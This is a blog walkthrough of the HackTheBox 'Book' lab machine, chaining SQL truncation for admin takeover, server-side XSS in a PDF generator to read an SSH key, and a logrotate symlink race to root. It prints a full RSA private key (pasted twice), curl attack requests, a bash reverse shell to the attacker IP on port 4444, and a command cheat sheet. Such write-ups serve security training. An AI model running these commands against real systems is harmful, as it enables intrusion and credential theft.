June 16, 2026
HackTheBox “Book” Walkthrough
A Medium Linux box where three small logic flaws, an admin takeover, a PDF renderer betrayal, and a symlink race, chain into full system…
Abdullah Kareem
9 min read
A Medium Linux box where three small logic flaws, an admin takeover, a PDF renderer betrayal, and a symlink race, chain into full system compromise.
Some machines hand you a buffer overflow or a known CVE and ask you to pull the trigger. Book is not one of them. This is a web application box that rewards attention to detail, patience, and the ability to connect small flaws into a complete compromise chain.
We start with only two open ports: SSH and HTTP. The real story lives inside the web app. By chaining a SQL truncation attack, a server-side XSS payload inside a PDF generator, and a logrotate race condition, we move from unauthenticated visitor to root on the box.
If you are studying for OSWE, OSCP, or just want to see how logic bugs can be as dangerous as memory corruption, this walkthrough is for you.
Machine Overview
Name: Book OS: Ubuntu Linux Difficulty: Medium Target IP: 10.129.95.163 Attacker IP: 10.10.16.84
Attack Chain at a Glance:
SQL truncation on registration → admin account takeover → server-side XSS in PDF generator → local file read of reader's SSH key → SSH as reader → user flag → logrotate symlink race condition in /home/reader/backups → root shell
The Mindset Before You Start
Before touching the target, it helps to remind yourself of a few principles that separate fast roots from hours of spinning:
- Enumerate first, exploit second. If you do not know what the app does, you will not see where it breaks.
- Look for logic flaws, not just injection points. Sometimes the vulnerability is not a missing filter — it is a wrong assumption about how the database behaves.
- Follow the data flow. User input does not have to reach another user to be dangerous. If the server itself processes it, the impact changes completely.
- Watch privileged processes touching user-controlled paths. Anytime root reads from, writes to, or executes inside a directory you own, ask: "Can I swap this?"
With that in mind, we start where every web box starts: the network surface.
Phase 1: Reconnaissance and Enumeration
The first question is always the same: what can we reach?
We add the host to /etc/hosts so the application behaves exactly as it would for a legitimate user:
echo "10.129.95.163 book.htb" | sudo tee -a /etc/hosts
Then we scan the target:
nmap -sC -sV -oA book 10.129.95.163
The output is short:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Only two ports. SSH is almost never the entry point on a web box — it is usually the escape hatch. Port 80 is where the action lives. Apache 2.4.29 on Ubuntu 18.04 is old enough to be interesting, but the real target is the custom application running on top of it.
Manual browsing reveals a login page, a registration form, and after signing up, a dashboard with books, collections, a file upload feature, a Contact Us page, and an admin panel at /admin. That gives us several angles:
- The registration form: can we create duplicate accounts or take over existing ones?
- The collections upload: file upload plus server-side processing is always worth a closer look.
- The admin panel: higher privilege, but we need credentials first.
- PDF generation: the server renders submitted content into PDF. If we can inject code into that pipeline, we execute code on the server itself.
Phase 2: SQL Truncation — Admin Takeover Without Injection
The Vulnerability
We try to register with admin@book.htb and the app responds: "User already exists." That confirms the admin account exists. Now the question is how the registration logic checks for duplicates.
A typical flow looks like this:
First, the app checks if the email already exists: SELECT * FROM users WHERE email = 'admin@book.htb .';
If nothing comes back, it inserts the new row: INSERT INTO users (email, username, password) VALUES ('admin@book.htb .', 'hacker', 'password');
Here is the catch: if the email column is defined as VARCHAR(20), the database truncates anything longer than 20 characters. And trailing spaces are stripped. So the string "admin@book.htb ." is 21 characters long. The SELECT sees the full 21-character string and finds nothing. The INSERT truncates to 20 characters and strips trailing spaces, leaving exactly "admin@book.htb".
And the page source of the login page below, confirms the above:
The database now has two rows with the same admin email: the real one, and ours with our password. When we log in, the application finds our row and gives us the admin session.
This is not SQL injection in the traditional sense. It is a logic flaw caused by assuming that "check, then insert" is atomic and safe.
Exploitation
The email field in the browser is type="email", which blocks spaces. But HTML is just a suggestion. We use curl directly:
curl -X POST http://book.htb/index.php -d 'name=pwn&email=admin@book.htb%20%20%20%20%20%20.&password=Hacker123!' -c cookies.txt
The email "admin@book.htb" is 14 characters. Six spaces make it 20, and the trailing dot pushes it to 21. That dot is the key: without it, the string would already be exactly 20 characters after truncation, and the insert might behave differently depending on the exact database configuration.
Then we log in immediately, because a cleanup cron removes non-default data every couple of minutes:
curl -X POST http://book.htb/admin/ -d 'email=admin@book.htb&password=Hacker123!' -b cookies.txt -L
We are now logged in as admin.
Phase 3: Server-Side XSS to Local File Read
Understanding the PDF Generator
Inside the admin panel, the Collections tab offers a PDF export feature. The application uses a server-side HTML-to-PDF converter — html-pdf, a Node.js wrapper around a headless browser.
Normally, XSS runs in the victim's browser. Here, the victim is the PDF generator itself. When the admin clicks "Collections PDF," the server gathers all book submissions, renders them as HTML, and feeds them through the converter. If a submission contains script tags, the headless browser executes them server-side.
This is server-side XSS. Because the renderer runs on the server with filesystem access, a simple XMLHttpRequest to file:// becomes a local file read primitive.
The Payload
We need a payload that:
- Executes in the headless browser context.
- Reads a local file via file://.
- Writes the file contents into the rendered document so they appear in the PDF.
The cleanest version is:
document.write replaces the entire HTML document with the file contents, so the PDF generator renders only the key.
Step-by-Step Exploitation
- Register a normal user account, pwn@book.htb, and log in.
- Go to Collections and submit a book: — Title: the XSS payload above — Author: test — File: any dummy PDF
- Immediately switch to the admin session and click Collections PDF.
- The generated PDF contains the SSH private key for the reader user.
Timing matters. The cleanup cron removes non-default collections roughly every two minutes, so the window between submitting the book and generating the PDF is tight.
We check the collections as admin:
We click collections, and we see the key as a pdf:
Phase 4: From PDF to SSH Shell
Sometimes PDF text extraction tools truncate long lines, and an SSH key with broken formatting will be rejected. If that happens, base64-encode the file inside the payload instead:
A base64 string wraps cleanly and can be decoded back into the original key on your attack box.
Once we have the complete key, we save it and connect:
cat > id_rsa << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----
EOF
chmod 600 id_rsa
ssh -i id_rsa reader@10.129.95.163cat > id_rsa << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----
EOF
chmod 600 id_rsa
ssh -i id_rsa reader@10.129.95.163We now have a stable SSH session as reader. No reverse shell, no web shell — just a clean, encrypted shell.
Phase 5: Privilege Escalation — The logrotate Race Condition
Enumeration
With a shell as reader, we start looking for the path to root:
ls -la ~ ls -la ~/backups ps aux
logrotate — version
We find a few important things:
- A backups directory in reader's home: /home/reader/backups
- logrotate version 3.11.0
- A root-owned process running /usr/sbin/logrotate -f /root/log.cfg roughly every five seconds
logrotate 3.11.0 has a known issue, but more importantly, root is repeatedly touching files inside a directory we control. That is the classic setup for a symlink race condition.
How the Race Works
logrotate follows this basic pattern:
- Move access.log.1 to access.log.2
- Move access.log to access.log.1
- Create a new empty access.log file
The new file is created with ownership based on the directory owner. Because /home/reader/backups belongs to reader, the new access.log will also belong to reader.
Between step 2 and step 3, there is a tiny window. If we can:
- Rename /home/reader/backups to /home/reader/backups2
- Create a symlink /home/reader/backups pointing to /etc/bash_completion.d
then logrotate will follow the symlink and create /etc/bash_completion.d/access.log owned by reader.
Why /etc/bash_completion.d? Because scripts in that directory are executed whenever any user starts a new bash shell. Root has a cron that spawns bash sessions, so dropping a malicious script there gives us code execution as root.
The Exploit: logrotten
We use logrotten, which watches the log file with inotify. When it detects the file being moved, it performs the rename-and-symlink swap faster than logrotate can create the new file.
On the attack box, download and serve the exploit:
wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c
-O ~/Downloads/logrotten.c
cd ~/Downloads/
python3 -m http.server 8000
On the target, download, compile, and create the payload:
cd /dev/shm wget http://10.10.16.84:8000/logrotten.c gcc -o logrotten logrotten.c
cat > rev.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.16.84/4444 0>&1 EOF
Start a listener on the attack box:
nc -lnvp 4444
The exploit requires two SSH sessions running at the same time.
Session 1 — start the watcher:
cd /dev/shm ./logrotten -p ./rev.sh /home/reader/backups/access.log
Session 2 — trigger the rotation:
echo "trigger" >> /home/reader/backups/access.log
Checking back ssh session 1:
What happens under the hood:
- We append to access.log.
- Root's cron runs logrotate -f /root/log.cfg.
- logrotate moves access.log to access.log.1.
- logrotten detects the move via inotify.
- logrotten instantly renames backups to backups2 and creates a symlink backups → /etc/bash_completion.d.
- logrotate creates backups/access.log, which actually creates /etc/bash_completion.d/access.log owned by reader.
- logrotten writes our reverse shell payload into that file.
- Root's cron spawns bash, executes the files in /etc/bash_completion.d, and our payload runs as root.
We are not exploiting a memory corruption bug. We are exploiting time.
Phase 6: Root Shell and Final Flags
Back on the listener, we get the connection:
connect to [10.10.16.84] from (UNKNOWN) [10.129.95.163] 44978 root@book:~# id uid=0(root) gid=0(root) groups=0(root)
root@book:~# cat /root/root.txt Root obtained.
Lessons Learned
-
Chain small bugs into big impact No single vulnerability gave us root. We chained SQL truncation for admin access, server-side XSS for local file read, and a logrotate race condition for root. The magic is in the chain.
-
Never trust client-side validation The email field was type="email" in the browser, which blocks spaces. We bypassed it with curl. Server-side validation is the only validation that matters.
-
Server-side XSS is powerful When user input is rendered by server-side components like PDF generators, XSS stops being a browser issue and becomes code execution on the server.
-
Watch privileged processes touching user-controlled paths Anytime root reads, writes, or executes inside a directory you own, ask whether you can swap it with a symlink. Race conditions are subtle but devastating.
-
Timing matters The logrotten exploit won a narrow race. Having two SSH sessions ready and acting quickly is a skill in itself.
-
Documentation is part of the process Every command, every observation, every failed attempt teaches something. The difference between a script kiddie and a professional is the ability to explain why something works.
Full Command Cheat Sheet
Reconnaissance:
echo "10.129.95.163 book.htb" | sudo tee -a /etc/hosts nmap -sC -sV -oA book 10.129.95.163
SQL truncation admin takeover:
curl -X POST http://book.htb/index.php
-d "name=pwn&email=admin@book.htb .&password=Hacker123!"
-c cookies.txt
curl -X POST http://book.htb/admin/
-d "email=admin@book.htb&password=Hacker123!"
-b cookies.txt -L
Server-side XSS payload (submit as normal user in Collections):
SSH as reader:
chmod 600 id_rsa ssh -i id_rsa reader@10.129.95.163
Privilege escalation:
wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c gcc -o logrotten logrotten.c
cat > rev.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.16.84/4444 0>&1 EOF
./logrotten -p ./rev.sh /home/reader/backups/access.log
In a second session:
echo "trigger" >> /home/reader/backups/access.log
Cheers,